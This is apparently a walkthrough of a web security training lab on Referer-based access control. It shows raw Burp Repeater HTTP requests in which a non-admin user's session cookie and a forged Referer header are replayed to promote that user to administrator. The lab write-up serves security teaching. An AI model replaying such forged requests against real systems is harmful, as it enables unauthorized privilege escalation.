

Access Control Vulnerabilities And Privilege Escalation Lab – 13

Referer-based access control

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Exploit The Flawed Access Controls To Promote Yourself To Become An Administrator.

Log in using the admin credentials.

Referer-based access control

LAB Not solved

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My Account

Your username is: administrator

Email

Update email

Browse to the admin panel, promote carlos, and send the HTTP request to Burp Repeater.

DashboardTargetProxyIntruderRepeaterCollaboratorSequencerDecoderComparerLoggerExtensionsLearn

1 x2 x3 x+

SendCancel<>

Request

RawHex

```
1 GET /admin-roles?username=carlos&action=upgrade HTTP/2
2 Host: 0a15001b03b1a6718295201b00c500d1.web-security-academy.net
3 Cookie: session=JdU7pLlN6zPYWzJ0FLvWXorQ4cVd7X
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://0a15001b03b1a6718295201b00c500d1.web-security-academy.net/admin
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-User: ?1
14 Te: trailers
15
16
```

Response

RawHexRender

Logout from admin account, and log in with the non-admin credentials.

Referer-based access control

LAB Not solved

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My Account

Your username is: wiener

Email

Update email

Browse to `/admin-roles?username=carlos&action=upgrade` and **observe** that the request is treated as unauthorized due to the absent Referer header.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET /admin-roles?username=carlos&action=upgrade HTTP/2 2 Host: 0a15001b03b1a6718295201b00c500d1.web-security-academy.net 3 Cookie: session=JdU7pLlN6zPYVwzJ0FLvWkx04cVd7X 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Referer: https://0a15001b03b1a6718295201b00c500d1.web-security-academy.net/admin 9 Upgrade-Insecure-Requests: 1 10 Sec-Fetch-Dest: document 11 Sec-Fetch-Mode: navigate 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-User: ?1 14 Te: trailers 15 16</pre>				<pre>1 HTTP/2 401 Unauthorized 2 Content-Type: application/json; charset=utf-8 3 Set-Cookie: session=VprTgqnDyuBvn61q8eRqB8gtDRLurGU; Secure; HttpOnly; SameSite=None 4 X-Frame-Options: SAMEORIGIN 5 Content-Length: 14 6 7 "Unauthorized"</pre>			


Copy the non-admin user's session cookie into the existing Burp Repeater request, **change** the username to yours, and **replay** it.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET /admin-roles?username=wiener&action=upgrade HTTP/2 2 Host: 0a15001b03b1a6718295201b00c500d1.web-security-academy.net 3 Cookie: session=EuFxpELf1opfeKx07cwuW3f1ceQJM8d 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Referer: https://0a15001b03b1a6718295201b00c500d1.web-security-academy.net/admin 9 Upgrade-Insecure-Requests: 1 10 Sec-Fetch-Dest: document 11 Sec-Fetch-Mode: navigate 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-User: ?1 14 Te: trailers 15 16</pre>				<pre>1 HTTP/2 302 Found 2 Location: /admin 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 0 5 6</pre>			

Lab Completed Successfully.

Referer-based access control

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LAB Solved 

Congratulations, you solved the lab!

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My Account

Your username is: wiener

Email

Update email